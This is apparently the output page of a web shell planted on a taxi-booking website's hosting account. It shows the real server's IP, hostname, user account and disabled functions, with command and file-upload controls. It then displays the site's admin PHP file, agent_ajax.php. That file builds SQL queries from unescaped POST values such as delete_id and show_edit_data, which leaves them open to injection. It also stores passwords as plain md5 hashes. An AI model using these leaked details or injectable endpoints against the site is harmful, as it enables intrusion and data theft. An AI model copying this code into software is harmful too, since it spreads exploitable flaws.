MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 18.225.98.59
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u641149403/domains/cabz4you.com/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/cabz4you.com/public_html/admin/agent_ajax.php
<?php
    require_once 'lib/core.php';
  if(!auth())
{
  exit;
}
//ADDING DATA TO USER AND USER PROFILES

        if(isset($_POST['name']))
    {
        $name=test_input($_POST['name']);
        $company_name=test_input($_POST['c_name']);
        $email=test_input($_POST['email']);
        $pass=md5(test_input($_POST['password']));
        $contact=test_input($_POST['contact']);
        $state=test_input($_POST['state']);
        $city=test_input($_POST['city']);
        $sql="insert into agents(contact,agent_name,state,city,password,status) values('$contact','$name','$state','$city','$pass',1)";
        if($conn->query($sql)===true)
        {
             $last_id = $conn->insert_id;
           
                echo "ok";
            
        }
        else
        {
            echo $conn->error;
        }
    }
    
//DELETING STAFF DATA

		if(isset($_POST['delete_id']))
        {
			$id_d=$_POST["delete_id"];
			$sql="delete from vendor_profiles where u_id=$id_d";
			if($conn->query($sql))
			{
				$sql="delete from vendor_login where id=$id_d";
				if($conn->query($sql))
					echo "success";
				else
					echo "error";
			}
			else
				echo "error";
        }




//UPDATING STAFF DATA

		if(isset($_POST["efname"]))
        {
            $staff_id=$_POST["edit"];
			$fname=test_input($_POST['efname']);
			$lname=test_input($_POST['elname']);
			$email=test_input($_POST['eemail']);
			$gender=test_input($_POST['egender']);
			$contact=test_input($_POST['econtact']);
            $sql="update user_profiles set f_name='$fname',l_name='$lname',gender='$gender',contact='$contact' where u_id = $staff_id";
            if($conn->query($sql))
            {
              echo "success";
            }
            else
            {
              echo $sql;
            }
			if(isset($_POST['epassword']))
			{
				$password=test_input($_POST['epassword']);
				$password=md5($password);
				$sql="update users set email='$email',password='$password' where id=$staff_id";
				if($conn->query($sql))
				{	
					
				}
				else
				{
				  echo "error2222";
				}
			}
            else{
				$sql="update users set email='$email' where id=$staff_id";
				if($conn->query($sql))
				{	
					
				}
				else
				{
				  echo "error2222";
				}
			}
        }
        

//FETCHING STAFF DETAILS

if(isset($_POST['vendor_details']))
{
	$sql="select * from agents order by id desc";
    if($result=$conn->query($sql))
    {
        if($result->num_rows>0)
        {
         
              while($row=$result->fetch_assoc())
              {
                 $staff[]=$row;
              }
            echo json_encode($staff);
          }
        else
            echo "unable to fetch data";
    }    
}

//FETCHING DATA FOR EDIT MODAL

if(isset($_POST['show_edit_data']))
{
    $id=$_POST['show_edit_data'];
    $sql="select u.id,u.email,up.f_name,up.l_name,up.contact,up.gender from users u,user_profiles up where u.id=up.u_id and u.type=4 and u.id=$id";
    if($result=$conn->query($sql))
    {
        if($result->num_rows>0)
        {
         
              while($row=$result->fetch_assoc())
              {
                 $staff[]=$row;
              }
            echo json_encode($staff);
          }
        else
            echo "unable to fetch data";
    }    
}

//verify 
if(isset($_POST['verify_id']) && isset($_POST['contact']))
        {
			$id=test_input($_POST["verify_id"]);
			$contact=test_input($_POST["contact"]);
			$sql="update agents set status=1 where id=$id";
			if($conn->query($sql))
			{
				$paramArr['postData']['mobiles'] = $contact;
				$paramArr['postData']['message'] =  "Your Account has been activated, please create bookings for genrate booking.";
				sendRequest($paramArr);
					echo "success";
			}
			else
				echo "error";
        }

?>

MMCT - 2023